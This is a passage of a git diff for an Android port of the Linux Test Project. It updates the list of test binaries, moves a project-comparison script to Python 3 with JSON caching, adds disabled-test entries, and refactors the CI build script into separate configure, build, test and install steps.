+  ltp_setsockopt09 \
   ltp_settimeofday01 \
   ltp_settimeofday02 \
   ltp_setuid01 \
@@ -1374,9 +1416,6 @@
   ltp_setxattr02 \
   ltp_setxattr03 \
   ltp_sgetmask01 \
-  ltp_shmctl05 \
-  ltp_shmctl06 \
-  ltp_shmctl08 \
   ltp_sigaction01 \
   ltp_sigaction02 \
   ltp_sigaltstack01 \
@@ -1400,7 +1439,6 @@
   ltp_sigwaitinfo01 \
   ltp_smack_notroot \
   ltp_smack_set_socket_labels \
-  ltp_smount \
   ltp_snd_seq01 \
   ltp_snd_timer01 \
   ltp_socket01 \
@@ -1438,13 +1476,13 @@
   ltp_statx03 \
   ltp_statx04 \
   ltp_statx06 \
-  ltp_statx07 \
+  ltp_statx08 \
+  ltp_statx09 \
   ltp_stream01 \
   ltp_stream02 \
   ltp_stream03 \
   ltp_stream04 \
   ltp_stream05 \
-  ltp_stress_cd \
   ltp_string01 \
   ltp_sugov_latency \
   ltp_sugov_stale_util \
@@ -1476,13 +1514,11 @@
   ltp_sysfs03 \
   ltp_sysfs04 \
   ltp_sysfs05 \
-  ltp_sysfs06 \
   ltp_sysinfo01 \
   ltp_sysinfo02 \
   ltp_sysinfo03 \
   ltp_syslog11 \
   ltp_syslog12 \
-  ltp_syslogtst \
   ltp_tbio \
   ltp_tee01 \
   ltp_tee02 \
@@ -1495,19 +1531,15 @@
   ltp_test07 \
   ltp_test08 \
   ltp_test09 \
-  ltp_test10 \
   ltp_test11 \
-  ltp_test12 \
   ltp_test13 \
   ltp_test14 \
   ltp_test15 \
-  ltp_test16 \
-  ltp_test17 \
-  ltp_test18 \
   ltp_test19 \
   ltp_test20 \
   ltp_test22 \
   ltp_test_assert \
+  ltp_test_children_cleanup \
   ltp_test_exec \
   ltp_test_exec_child \
   ltp_test_guarded_buf \
@@ -1517,7 +1549,14 @@
   ltp_test_macros01 \
   ltp_test_macros02 \
   ltp_test_macros03 \
+  ltp_test_macros04 \
+  ltp_test_macros05 \
+  ltp_test_macros06 \
+  ltp_test_parse_filesize \
+  ltp_test_runtime01 \
+  ltp_test_runtime02 \
   ltp_test_timer \
+  ltp_test_zero_hugepage \
   ltp_testcases_bin_add_ipv6addr \
   ltp_testcases_bin_ar01.sh \
   ltp_testcases_bin_arping01.sh \
@@ -1529,15 +1568,14 @@
   ltp_testcases_bin_binfmt_misc01.sh \
   ltp_testcases_bin_binfmt_misc02.sh \
   ltp_testcases_bin_binfmt_misc_lib.sh \
-  ltp_testcases_bin_broken_ip-checksum \
-  ltp_testcases_bin_broken_ip-dstaddr \
-  ltp_testcases_bin_broken_ip-fragment \
-  ltp_testcases_bin_broken_ip-ihl \
-  ltp_testcases_bin_broken_ip-nexthdr \
-  ltp_testcases_bin_broken_ip-plen \
-  ltp_testcases_bin_broken_ip-protcol \
-  ltp_testcases_bin_broken_ip-totlen \
-  ltp_testcases_bin_broken_ip-version \
+  ltp_testcases_bin_broken_ip-checksum.sh \
+  ltp_testcases_bin_broken_ip-dstaddr.sh \
+  ltp_testcases_bin_broken_ip-fragment.sh \
+  ltp_testcases_bin_broken_ip-ihl.sh \
+  ltp_testcases_bin_broken_ip-nexthdr.sh \
+  ltp_testcases_bin_broken_ip-plen.sh \
+  ltp_testcases_bin_broken_ip-protcol.sh \
+  ltp_testcases_bin_broken_ip-version.sh \
   ltp_testcases_bin_busy_poll01.sh \
   ltp_testcases_bin_busy_poll02.sh \
   ltp_testcases_bin_busy_poll03.sh \
@@ -1563,7 +1601,6 @@
   ltp_testcases_bin_cleanup_lvm.sh \
   ltp_testcases_bin_clockdiff01.sh \
   ltp_testcases_bin_cmdlib.sh \
-  ltp_testcases_bin_cn_pec.sh \
   ltp_testcases_bin_cp_tests.sh \
   ltp_testcases_bin_cpio_tests.sh \
   ltp_testcases_bin_cpuacct.sh \
@@ -1624,51 +1661,102 @@
   ltp_testcases_bin_freeze_write_freezing.sh \
   ltp_testcases_bin_fs-bench-test.sh \
   ltp_testcases_bin_fs-bench-test2.sh \
-  ltp_testcases_bin_fs_bind_bin_check_prop \
-  ltp_testcases_bin_fs_bind_bin_lockfile \
-  ltp_testcases_bin_fs_bind_bin_makedir \
-  ltp_testcases_bin_fs_bind_bin_setup \
-  ltp_testcases_bin_fs_bind_bin_setupnslock \
-  ltp_testcases_bin_fs_bind_bind_test10 \
-  ltp_testcases_bin_fs_bind_bind_test11 \
-  ltp_testcases_bin_fs_bind_bind_test12 \
-  ltp_testcases_bin_fs_bind_bind_test14 \
-  ltp_testcases_bin_fs_bind_bind_test15 \
-  ltp_testcases_bin_fs_bind_bind_test16 \
-  ltp_testcases_bin_fs_bind_bind_test18 \
-  ltp_testcases_bin_fs_bind_bind_test19 \
-  ltp_testcases_bin_fs_bind_move_test08 \
-  ltp_testcases_bin_fs_bind_move_test22 \
-  ltp_testcases_bin_fs_bind_rbind_test01 \
-  ltp_testcases_bin_fs_bind_rbind_test02 \
-  ltp_testcases_bin_fs_bind_rbind_test03 \
-  ltp_testcases_bin_fs_bind_rbind_test04 \
-  ltp_testcases_bin_fs_bind_rbind_test05 \
-  ltp_testcases_bin_fs_bind_rbind_test06 \
-  ltp_testcases_bin_fs_bind_rbind_test07 \
-  ltp_testcases_bin_fs_bind_rbind_test07-2 \
-  ltp_testcases_bin_fs_bind_rbind_test09 \
-  ltp_testcases_bin_fs_bind_rbind_test13 \
-  ltp_testcases_bin_fs_bind_rbind_test17 \
-  ltp_testcases_bin_fs_bind_rbind_test20 \
-  ltp_testcases_bin_fs_bind_rbind_test21 \
-  ltp_testcases_bin_fs_bind_rbind_test23 \
-  ltp_testcases_bin_fs_bind_rbind_test24 \
-  ltp_testcases_bin_fs_bind_rbind_test25 \
-  ltp_testcases_bin_fs_bind_rbind_test26 \
-  ltp_testcases_bin_fs_bind_rbind_test27 \
-  ltp_testcases_bin_fs_bind_rbind_test28 \
-  ltp_testcases_bin_fs_bind_rbind_test29 \
-  ltp_testcases_bin_fs_bind_rbind_test30 \
-  ltp_testcases_bin_fs_bind_rbind_test31 \
-  ltp_testcases_bin_fs_bind_rbind_test32 \
-  ltp_testcases_bin_fs_bind_rbind_test33 \
-  ltp_testcases_bin_fs_bind_rbind_test34 \
-  ltp_testcases_bin_fs_bind_rbind_test35 \
-  ltp_testcases_bin_fs_bind_rbind_test36 \
-  ltp_testcases_bin_fs_bind_rbind_test37 \
-  ltp_testcases_bin_fs_bind_rbind_test38 \
-  ltp_testcases_bin_fs_bind_rbind_test39 \
+  ltp_testcases_bin_fs_bind01.sh \
+  ltp_testcases_bin_fs_bind02.sh \
+  ltp_testcases_bin_fs_bind03.sh \
+  ltp_testcases_bin_fs_bind04.sh \
+  ltp_testcases_bin_fs_bind05.sh \
+  ltp_testcases_bin_fs_bind06.sh \
+  ltp_testcases_bin_fs_bind07-2.sh \
+  ltp_testcases_bin_fs_bind07.sh \
+  ltp_testcases_bin_fs_bind08.sh \
+  ltp_testcases_bin_fs_bind09.sh \
+  ltp_testcases_bin_fs_bind10.sh \
+  ltp_testcases_bin_fs_bind11.sh \
+  ltp_testcases_bin_fs_bind12.sh \
+  ltp_testcases_bin_fs_bind13.sh \
+  ltp_testcases_bin_fs_bind14.sh \
+  ltp_testcases_bin_fs_bind15.sh \
+  ltp_testcases_bin_fs_bind16.sh \
+  ltp_testcases_bin_fs_bind17.sh \
+  ltp_testcases_bin_fs_bind18.sh \
+  ltp_testcases_bin_fs_bind19.sh \
+  ltp_testcases_bin_fs_bind20.sh \
+  ltp_testcases_bin_fs_bind21.sh \
+  ltp_testcases_bin_fs_bind22.sh \
+  ltp_testcases_bin_fs_bind23.sh \
+  ltp_testcases_bin_fs_bind24.sh \
+  ltp_testcases_bin_fs_bind_cloneNS01.sh \
+  ltp_testcases_bin_fs_bind_cloneNS02.sh \
+  ltp_testcases_bin_fs_bind_cloneNS03.sh \
+  ltp_testcases_bin_fs_bind_cloneNS04.sh \
+  ltp_testcases_bin_fs_bind_cloneNS05.sh \
+  ltp_testcases_bin_fs_bind_cloneNS06.sh \
+  ltp_testcases_bin_fs_bind_cloneNS07.sh \
+  ltp_testcases_bin_fs_bind_lib.sh \
+  ltp_testcases_bin_fs_bind_move01.sh \
+  ltp_testcases_bin_fs_bind_move02.sh \
+  ltp_testcases_bin_fs_bind_move03.sh \
+  ltp_testcases_bin_fs_bind_move04.sh \
+  ltp_testcases_bin_fs_bind_move05.sh \
+  ltp_testcases_bin_fs_bind_move06.sh \
+  ltp_testcases_bin_fs_bind_move07.sh \
+  ltp_testcases_bin_fs_bind_move08.sh \
+  ltp_testcases_bin_fs_bind_move09.sh \
+  ltp_testcases_bin_fs_bind_move10.sh \
+  ltp_testcases_bin_fs_bind_move11.sh \
+  ltp_testcases_bin_fs_bind_move12.sh \
+  ltp_testcases_bin_fs_bind_move13.sh \
+  ltp_testcases_bin_fs_bind_move14.sh \
+  ltp_testcases_bin_fs_bind_move15.sh \
+  ltp_testcases_bin_fs_bind_move16.sh \
+  ltp_testcases_bin_fs_bind_move17.sh \
+  ltp_testcases_bin_fs_bind_move18.sh \
+  ltp_testcases_bin_fs_bind_move19.sh \
+  ltp_testcases_bin_fs_bind_move20.sh \
+  ltp_testcases_bin_fs_bind_move21.sh \
+  ltp_testcases_bin_fs_bind_move22.sh \
+  ltp_testcases_bin_fs_bind_rbind01.sh \
+  ltp_testcases_bin_fs_bind_rbind02.sh \
+  ltp_testcases_bin_fs_bind_rbind03.sh \
+  ltp_testcases_bin_fs_bind_rbind04.sh \
+  ltp_testcases_bin_fs_bind_rbind05.sh \
+  ltp_testcases_bin_fs_bind_rbind06.sh \
+  ltp_testcases_bin_fs_bind_rbind07-2.sh \
+  ltp_testcases_bin_fs_bind_rbind07.sh \
+  ltp_testcases_bin_fs_bind_rbind08.sh \
+  ltp_testcases_bin_fs_bind_rbind09.sh \
+  ltp_testcases_bin_fs_bind_rbind10.sh \
+  ltp_testcases_bin_fs_bind_rbind11.sh \
+  ltp_testcases_bin_fs_bind_rbind12.sh \
+  ltp_testcases_bin_fs_bind_rbind13.sh \
+  ltp_testcases_bin_fs_bind_rbind14.sh \
+  ltp_testcases_bin_fs_bind_rbind15.sh \
+  ltp_testcases_bin_fs_bind_rbind16.sh \
+  ltp_testcases_bin_fs_bind_rbind17.sh \
+  ltp_testcases_bin_fs_bind_rbind18.sh \
+  ltp_testcases_bin_fs_bind_rbind19.sh \
+  ltp_testcases_bin_fs_bind_rbind20.sh \
+  ltp_testcases_bin_fs_bind_rbind21.sh \
+  ltp_testcases_bin_fs_bind_rbind22.sh \
+  ltp_testcases_bin_fs_bind_rbind23.sh \
+  ltp_testcases_bin_fs_bind_rbind24.sh \
+  ltp_testcases_bin_fs_bind_rbind25.sh \
+  ltp_testcases_bin_fs_bind_rbind26.sh \
+  ltp_testcases_bin_fs_bind_rbind27.sh \
+  ltp_testcases_bin_fs_bind_rbind28.sh \
+  ltp_testcases_bin_fs_bind_rbind29.sh \
+  ltp_testcases_bin_fs_bind_rbind30.sh \
+  ltp_testcases_bin_fs_bind_rbind31.sh \
+  ltp_testcases_bin_fs_bind_rbind32.sh \
+  ltp_testcases_bin_fs_bind_rbind33.sh \
+  ltp_testcases_bin_fs_bind_rbind34.sh \
+  ltp_testcases_bin_fs_bind_rbind35.sh \
+  ltp_testcases_bin_fs_bind_rbind36.sh \
+  ltp_testcases_bin_fs_bind_rbind37.sh \
+  ltp_testcases_bin_fs_bind_rbind38.sh \
+  ltp_testcases_bin_fs_bind_rbind39.sh \
+  ltp_testcases_bin_fs_bind_regression.sh \
   ltp_testcases_bin_fs_di \
   ltp_testcases_bin_fs_inod \
   ltp_testcases_bin_fs_racer.sh \
@@ -1762,6 +1850,7 @@
   ltp_testcases_bin_if-route-addlarge.sh \
   ltp_testcases_bin_if-updown.sh \
   ltp_testcases_bin_if4-addr-change.sh \
+  ltp_testcases_bin_ima_conditionals.sh \
   ltp_testcases_bin_ima_kexec.sh \
   ltp_testcases_bin_ima_keys.sh \
   ltp_testcases_bin_ima_measurements.sh \
@@ -1834,19 +1923,20 @@
   ltp_testcases_bin_mpls03.sh \
   ltp_testcases_bin_mpls04.sh \
   ltp_testcases_bin_mpls_lib.sh \
-  ltp_testcases_bin_myfunctions-io.sh \
   ltp_testcases_bin_myfunctions.sh \
   ltp_testcases_bin_net_cmdlib.sh \
+  ltp_testcases_bin_netns_lib.sh \
   ltp_testcases_bin_netstat01.sh \
-  ltp_testcases_bin_nfs01 \
-  ltp_testcases_bin_nfs02 \
-  ltp_testcases_bin_nfs03 \
-  ltp_testcases_bin_nfs04 \
-  ltp_testcases_bin_nfs05 \
-  ltp_testcases_bin_nfs06 \
+  ltp_testcases_bin_nfs01.sh \
+  ltp_testcases_bin_nfs02.sh \
+  ltp_testcases_bin_nfs03.sh \
+  ltp_testcases_bin_nfs04.sh \
+  ltp_testcases_bin_nfs05.sh \
+  ltp_testcases_bin_nfs06.sh \
+  ltp_testcases_bin_nfs07.sh \
   ltp_testcases_bin_nfs_lib.sh \
-  ltp_testcases_bin_nfslock01 \
-  ltp_testcases_bin_nfsstat01 \
+  ltp_testcases_bin_nfslock01.sh \
+  ltp_testcases_bin_nfsstat01.sh \
   ltp_testcases_bin_nft01.sh \
   ltp_testcases_bin_nm01.sh \
   ltp_testcases_bin_ns-echoclient \
@@ -1881,7 +1971,6 @@
   ltp_testcases_bin_run_cpuctl_test.sh \
   ltp_testcases_bin_run_cpuctl_test_fj.sh \
   ltp_testcases_bin_run_freezer.sh \
-  ltp_testcases_bin_run_io_throttle_test.sh \
   ltp_testcases_bin_run_memctl_test.sh \
   ltp_testcases_bin_run_sched_cliserv.sh \
   ltp_testcases_bin_runpwtests01.sh \
@@ -1917,14 +2006,11 @@
   ltp_testcases_bin_smt_smp_affinity.sh \
   ltp_testcases_bin_smt_smp_enabled.sh \
   ltp_testcases_bin_ssh-stress.sh \
-  ltp_testcases_bin_ssh-stress01-rmt.sh \
-  ltp_testcases_bin_ssh-stress02-rmt.sh \
-  ltp_testcases_bin_ssh-stress03-rmt.sh \
   ltp_testcases_bin_stop_freeze_sleep_thaw_cont.sh \
   ltp_testcases_bin_stop_freeze_thaw_cont.sh \
-  ltp_testcases_bin_stress_floppy \
   ltp_testcases_bin_sysctl01.sh \
   ltp_testcases_bin_sysctl02.sh \
+  ltp_testcases_bin_tc01.sh \
   ltp_testcases_bin_tcp4-multi-diffip01 \
   ltp_testcases_bin_tcp4-multi-diffip02 \
   ltp_testcases_bin_tcp4-multi-diffip03 \
@@ -2371,8 +2457,6 @@
   ltp_testcases_data_mc_member_TooManyGroups \
   ltp_testcases_data_rpc01_file.1 \
   ltp_testcases_data_rpc01_file.2 \
-  ltp_testcases_data_stress_floppy_dd_file \
-  ltp_testcases_data_stress_floppy_dumpdir_1K_file \
   ltp_testcases_data_unzip01_dir.out \
   ltp_testcases_data_unzip01_test.zip \
   ltp_testsf_c \
@@ -2432,9 +2516,11 @@
   ltp_tst_brkm \
   ltp_tst_capability01 \
   ltp_tst_capability02 \
+  ltp_tst_cgctl \
   ltp_tst_cgroup01 \
   ltp_tst_cgroup02 \
   ltp_tst_check_drivers \
+  ltp_tst_check_kconfigs \
   ltp_tst_checkpoint \
   ltp_tst_checkpoint_wait_timeout \
   ltp_tst_checkpoint_wake_timeout \
@@ -2450,16 +2536,28 @@
   ltp_tst_fs_has_free \
   ltp_tst_fuzzy_sync01 \
   ltp_tst_fuzzy_sync02 \
+  ltp_tst_fuzzy_sync03 \
+  ltp_tst_get_free_pids \
   ltp_tst_get_median \
   ltp_tst_get_unused_port \
   ltp_tst_getconf \
+  ltp_tst_hexdump \
   ltp_tst_kvcmp \
   ltp_tst_ncpus \
   ltp_tst_ncpus_conf \
   ltp_tst_ncpus_max \
+  ltp_tst_needs_cmds01 \
+  ltp_tst_needs_cmds02 \
+  ltp_tst_needs_cmds03 \
+  ltp_tst_needs_cmds04 \
+  ltp_tst_needs_cmds05 \
+  ltp_tst_needs_cmds06 \
+  ltp_tst_needs_cmds07 \
+  ltp_tst_needs_cmds08 \
   ltp_tst_net_iface_prefix \
   ltp_tst_net_ip_prefix \
   ltp_tst_net_vars \
+  ltp_tst_print_result \
   ltp_tst_process_state \
   ltp_tst_random \
   ltp_tst_record_childstatus \
@@ -2474,6 +2572,7 @@
   ltp_tst_strsig \
   ltp_tst_strstatus \
   ltp_tst_supported_fs \
+  ltp_tst_timeout_kill \
   ltp_tst_tmpdir_test \
   ltp_uaccess \
   ltp_uevent01 \
@@ -2486,7 +2585,6 @@
   ltp_umount03 \
   ltp_umount2_01 \
   ltp_umount2_02 \
-  ltp_umount2_03 \
   ltp_uname01 \
   ltp_uname02 \
   ltp_uname04 \
@@ -2523,12 +2621,23 @@
   ltp_vmsplice02 \
   ltp_vmsplice03 \
   ltp_vmsplice04 \
+  ltp_vsock01 \
   ltp_wait01 \
   ltp_wait02 \
   ltp_wait401 \
   ltp_wait402 \
+  ltp_wait403 \
   ltp_waitid01 \
   ltp_waitid02 \
+  ltp_waitid03 \
+  ltp_waitid04 \
+  ltp_waitid05 \
+  ltp_waitid06 \
+  ltp_waitid07 \
+  ltp_waitid08 \
+  ltp_waitid09 \
+  ltp_waitid10 \
+  ltp_waitid11 \
   ltp_waitpid01 \
   ltp_waitpid02 \
   ltp_waitpid03 \
@@ -2542,11 +2651,21 @@
   ltp_waitpid11 \
   ltp_waitpid12 \
   ltp_waitpid13 \
+  ltp_wqueue01 \
+  ltp_wqueue02 \
+  ltp_wqueue03 \
+  ltp_wqueue04 \
+  ltp_wqueue05 \
+  ltp_wqueue06 \
+  ltp_wqueue07 \
+  ltp_wqueue08 \
+  ltp_wqueue09 \
   ltp_write01 \
   ltp_write02 \
   ltp_write03 \
   ltp_write04 \
   ltp_write05 \
+  ltp_write06 \
   ltp_writetest \
   ltp_writev01 \
   ltp_writev02 \
diff --git a/android/tools/compare_ltp_projects.py b/android/tools/compare_ltp_projects.py
index e5a7d46..33e06ec 100755
--- a/android/tools/compare_ltp_projects.py
+++ b/android/tools/compare_ltp_projects.py
@@ -1,4 +1,4 @@
-#! /usr/bin/env python
+#! /usr/bin/env python3
 #
 # Copyright 2018 - The Android Open Source Project
 #
@@ -13,22 +13,25 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
-#
-
-# Parses the output of parse_ltp_{make,make_install} and generates a
-# corresponding Android.mk.
-#
-# This process is split into two steps so this second step can later be replaced
-# with an Android.bp generator.
 
 from __future__ import print_function
 
-"""Tool for comparing 2 LTP projects to find added / removed tests & testsuites"""
+"""Tool for comparing 2 LTP projects to find added / removed tests & testsuites.
+
+The tool can be run in two separate steps by dumping the list of tests as a json
+file, i.e.:
+
+$ git checkout master
+$ compare_ltp_projects.py --ltp-old . --ltp-old-json ./ltp_old.json
+$ git checkout mymergebranch
+$ compare_ltp_projects.py --ltp-old-json ./ltp_old.json --ltp-new .
+"""
 
 import os
 import argparse
 import os.path
 import sys
+import json
 
 def scan_tests(ltp_root, suite):
     ''' Find all tests that are run as part of given test suite in LTP.
@@ -192,22 +195,54 @@
 def main():
     arg_parser = argparse.ArgumentParser(
         description='Diff 2 LTP projects for supported test cases')
-    arg_parser.add_argument('--ltp-old',
+    arg_parser.add_argument('-o', '--ltp-old',
                             dest='ltp_old',
-                            required=True,
                             help="LTP Root Directory before merge")
-    arg_parser.add_argument('--ltp-new',
+    arg_parser.add_argument('-oj', '--ltp-old-json',
+                            dest='ltp_old_json',
+                            default='ltp_old.json',
+                            help="Old LTP parsed directory in json format")
+    arg_parser.add_argument('-n', '--ltp-new',
                             dest='ltp_new',
-                            required=True,
                             help="LTP Root Directory after merge")
+    arg_parser.add_argument('-nj', '--ltp-new-json',
+                            dest='ltp_new_json',
+                            default='ltp_new.json',
+                            help="New LTP parsed directory in json format")
     arg_parser.add_argument('--scenario', default=None,
                             dest='scenario',
                             help="LTP scenario to list tests for")
     args = arg_parser.parse_args()
 
-    ltp_tests1 = scan_ltp(args.ltp_old, args.scenario)
-    ltp_tests2 = scan_ltp(args.ltp_new, args.scenario)
-    show_diff(ltp_tests1, ltp_tests2)
+    # Find tests in the "old" directory or read the json output from a prior run
+    if args.ltp_old:
+        ltp_tests1 = scan_ltp(args.ltp_old, args.scenario)
+    elif args.ltp_old_json and os.path.isfile(args.ltp_old_json):
+        with open(args.ltp_old_json) as f:
+            ltp_tests1 = json.load(f)
+    else:
+        ltp_tests1 = None
+
+    # Do the same for the "new" directory
+    if args.ltp_new:
+        ltp_tests2 = scan_ltp(args.ltp_new, args.scenario)
+    elif args.ltp_new_json and os.path.isfile(args.ltp_new_json):
+        with open(args.ltp_new_json) as f:
+            ltp_tests2 = json.load(f)
+    else:
+        ltp_tests2 = None
+
+    if ltp_tests1 and ltp_tests2:
+        # Show the difference of the two directories if both are present
+        show_diff(ltp_tests1, ltp_tests2)
+    elif ltp_tests1:
+        # If just the old directory was read, dump it as json
+        with open(args.ltp_old_json, 'w') as f:
+            json.dump(ltp_tests1, f)
+    elif ltp_tests2:
+        # If just the new directory was read, dump it as json
+        with open(args.ltp_new_json, 'w') as f:
+            json.dump(ltp_tests2, f)
 
 if __name__ == '__main__':
     main()
diff --git a/android/tools/disabled_tests.txt b/android/tools/disabled_tests.txt
index 16459fe..29cd020 100644
--- a/android/tools/disabled_tests.txt
+++ b/android/tools/disabled_tests.txt
@@ -114,6 +114,10 @@
 shmctl02
 shmctl03
 shmctl04
+shmctl05
+shmctl06
+shmctl07
+shmctl08
 shmdt01
 shmdt02
 shmem_2nstest
@@ -129,6 +133,7 @@
 shmget03
 shmget04
 shmget05
+shmget06
 shmnstest
 shmt02
 shmt03
@@ -307,6 +312,7 @@
 userns06
 userns06_capcheck
 userns07
+userns08
 utstest
 
 # Following test require 'syslogd' running on device which Android doesn't
@@ -332,6 +338,9 @@
 df01.sh
 mkfs01.sh
 
+# Requires mksquashfs
+squashfs01
+
 # Requires glob()
 epoll-test
 
@@ -485,11 +494,6 @@
 # Needs pthread_cancel() and friends
 af_alg02
 
-# Depends on DNOTIFY (not enabled in Android).
-# b/191236494
-fcntl38
-fcntl38_64
-
 # Depends on HDLC line discipline (not enabled on Android).
 # b/191224903
 pty05
@@ -592,3 +596,19 @@
 rpc_svcudp_create_stress
 rpc_xprt_register
 rpc_xprt_unregister
+
+# Depends on /proc/net/connector and /dev/shm (not available on Android)
+# b/229724819
+cn_pec.sh
+
+# numa
+set_mempolicy01
+set_mempolicy02
+set_mempolicy03
+set_mempolicy04
+set_mempolicy05
+
+# Needs build script updates to support this test
+# b/246845416
+kvm_pagefault01
+kvm_pagefault01-payload.elf
diff --git a/android/tools/gen_android_build.sh b/android/tools/gen_android_build.sh
index 2b14865..7a2d23b 100755
--- a/android/tools/gen_android_build.sh
+++ b/android/tools/gen_android_build.sh
@@ -73,7 +73,7 @@
 
 echo ""
 echo "Parsing LTP make dry_run output..."
-CMD="python android_build_generator.py --ltp_root $LTP_ROOT --output_mk_path $OUTPUT_MK \
+CMD="python3 android_build_generator.py --ltp_root $LTP_ROOT --output_mk_path $OUTPUT_MK \
     --output_bp_path $OUTPUT_BP --output_plist_path $OUTPUT_PLIST \
     --custom_cflags_file $CUSTOM_CFLAGS_PATH"
 echo $CMD
diff --git a/build.sh b/build.sh
index 9335595..1767cc2 100755
--- a/build.sh
+++ b/build.sh
@@ -1,11 +1,6 @@
 #!/bin/sh
 # Copyright (c) 2017-2021 Petr Vorel <pvorel@suse.cz>
-# Script for travis builds.
-#
-# TODO: Implement comparison of installed files. List of installed files can
-# be used only for local builds as Travis currently doesn't support sharing
-# file between jobs, see
-# https://github.com/travis-ci/travis-ci/issues/6054
+# Script for CI builds.
 
 set -e
 
@@ -15,17 +10,56 @@
 DEFAULT_PREFIX="$HOME/ltp-install"
 DEFAULT_BUILD="native"
 DEFAULT_TREE="in"
+
 CONFIGURE_OPTS_IN_TREE="--with-open-posix-testsuite --with-realtime-testsuite $CONFIGURE_OPT_EXTRA"
 # TODO: open posix testsuite is currently broken in out-tree-build. Enable it once it's fixed.
 CONFIGURE_OPTS_OUT_TREE="--with-realtime-testsuite $CONFIGURE_OPT_EXTRA"
+
+SRC_DIR="$(cd $(dirname $0); pwd)"
+BUILD_DIR="$SRC_DIR/../ltp-build"
+
 MAKE_OPTS="-j$(getconf _NPROCESSORS_ONLN)"
+MAKE_OPTS_OUT_TREE="$MAKE_OPTS -C $BUILD_DIR -f $SRC_DIR/Makefile top_srcdir=$SRC_DIR top_builddir=$BUILD_DIR"
 
-build_32()
+run_configure()
 {
-	local dir
-	local arch="$(uname -m)"
+	local configure="$1"
+	shift
 
-	echo "===== 32-bit ${1}-tree build into $PREFIX ====="
+	export CC CFLAGS LDFLAGS PKG_CONFIG_LIBDIR
+	echo "CC='$CC' CFLAGS='$CFLAGS' LDFLAGS='$LDFLAGS' PKG_CONFIG_LIBDIR='$PKG_CONFIG_LIBDIR'"
+
+	echo "=== configure $configure $@ ==="
+	if ! $configure $@; then
+		echo "== ERROR: configure failed, config.log =="
+		cat config.log
+		exit 1
+	fi
+
+	echo "== include/config.h =="
+	cat include/config.h
+}
+
+configure_in_tree()
+{
+	run_configure ./configure $CONFIGURE_OPTS_IN_TREE --prefix=$prefix $@
+}
+
+configure_out_tree()
+{
+	mkdir -p $BUILD_DIR
+	cd $BUILD_DIR
+	run_configure $SRC_DIR/configure $CONFIGURE_OPTS_OUT_TREE $@
+}
+
+configure_32()
+{
+	local tree="$1"
+	local prefix="$2"
+	local arch="$(uname -m)"
+	local dir
+
+	echo "===== 32-bit ${tree}-tree build into $prefix ====="
 
 	if [ -z "$PKG_CONFIG_LIBDIR" ]; then
 		if [ "$arch" != "x86_64" ]; then
@@ -46,114 +80,78 @@
 	fi
 
 	CFLAGS="-m32 $CFLAGS" LDFLAGS="-m32 $LDFLAGS"
-	build $1 $2
+
+	eval configure_${tree}_tree
 }
 
-build_native()
+configure_native()
 {
-	echo "===== native ${1}-tree build into $PREFIX ====="
-	build $1 $2
+	local tree="$1"
+	local prefix="$2"
+
+	echo "===== native ${tree}-tree build into $prefix ====="
+	eval configure_${tree}_tree
 }
 
-build_cross()
+configure_cross()
 {
+	local tree="$1"
+	local prefix="$2"
 	local host=$(basename "${CC%-gcc}")
+
 	if [ "$host" = "gcc" ]; then
 		echo "Invalid CC variable for cross compilation: $CC (clang not supported)" >&2
 		exit 1
 	fi
 
-	echo "===== cross-compile ${host} ${1}-tree build into $PREFIX ====="
-	build $1 $2 "--host=$host"
-}
-
-build()
-{
-	local tree="$1"
-	local install="$2"
-	shift 2
-
-	echo "=== autotools ==="
-	make autotools
-
-	if [ "$tree" = "in" ]; then
-		build_in_tree $install $@
-	else
-		build_out_tree $install $@
-	fi
-}
-
-build_out_tree()
-{
-	local install="$1"
-	shift
-
-	local tree="$PWD"
-	local build="$tree/../ltp-build"
-	local make_opts="$MAKE_OPTS -C $build -f $tree/Makefile top_srcdir=$tree top_builddir=$build"
-
-	mkdir -p $build
-	cd $build
-	run_configure $tree/configure $CONFIGURE_OPTS_OUT_TREE $@
-
-	echo "=== build ==="
-	make $make_opts
-
-	if [ "$install" = 1 ]; then
-		echo "=== install ==="
-		make $make_opts DESTDIR="$PREFIX" SKIP_IDCHECK=1 install
-	else
-		echo "make install skipped, use -i to run it"
-	fi
+	echo "===== cross-compile ${host} ${1}-tree build into $prefix ====="
+	eval configure_${tree}_tree "--host=$host"
 }
 
 build_in_tree()
 {
-	local install="$1"
-	shift
-
-	run_configure ./configure $CONFIGURE_OPTS_IN_TREE --prefix=$PREFIX $@
-
-	echo "=== build ==="
 	make $MAKE_OPTS
-
-	if [ "$install" = 1 ]; then
-		echo "=== install ==="
-		make $MAKE_OPTS install
-	else
-		echo "make install skipped, use -i to run it"
-	fi
 }
 
-run_configure()
+build_out_tree()
 {
-	local configure=$1
-	shift
+	cd $BUILD_DIR
+	make $MAKE_OPTS_OUT_TREE
+}
 
-	export CC CFLAGS LDFLAGS PKG_CONFIG_LIBDIR
-	echo "CC='$CC' CFLAGS='$CFLAGS' LDFLAGS='$LDFLAGS' PKG_CONFIG_LIBDIR='$PKG_CONFIG_LIBDIR'"
+test_in_tree()
+{
+	make $1
+}
 
-	echo "=== configure $configure $@ ==="
-	if ! $configure $@; then
-		echo "== ERROR: configure failed, config.log =="
-		cat config.log
-		exit 1
-	fi
+test_out_tree()
+{
+	cd $BUILD_DIR
+	make $MAKE_OPTS_OUT_TREE $1
+}
 
-	echo "== include/config.h =="
-	cat include/config.h
+install_in_tree()
+{
+	make $MAKE_OPTS install
+}
+
+install_out_tree()
+{
+	cd $BUILD_DIR
+	make $MAKE_OPTS_OUT_TREE DESTDIR="$prefix" SKIP_IDCHECK=1 install
 }
 
 usage()
 {
 	cat << EOF
 Usage:
-$0 [ -c CC ] [ -o TREE ] [ -p DIR ] [ -t TYPE ]
+$0 [ -c CC ] [ -i ] [ -o TREE ] [ -p DIR ] [-r RUN ] [ -t TYPE ]
 $0 -h
 
 Options:
 -h       Print this help
--c CC    Define compiler (\$CC variable)
+-c CC    Define compiler (\$CC variable), needed only for configure step
+-i       Run 'make install', needed only for install step
 -o TREE  Specify build tree, default: $DEFAULT_TREE
 -p DIR   Change installation directory. For in-tree build is this value passed
          to --prefix option of configure script. For out-of-tree build is this
@@ -162,17 +160,27 @@
          DIR/PREFIX (i.e. DIR/opt/ltp).
          Default for in-tree build: '$DEFAULT_PREFIX'
          Default for out-of-tree build: '$DEFAULT_PREFIX/opt/ltp'
--t TYPE  Specify build type, default: $DEFAULT_BUILD
+-r RUN   Run only certain step (usable for CI), default: all
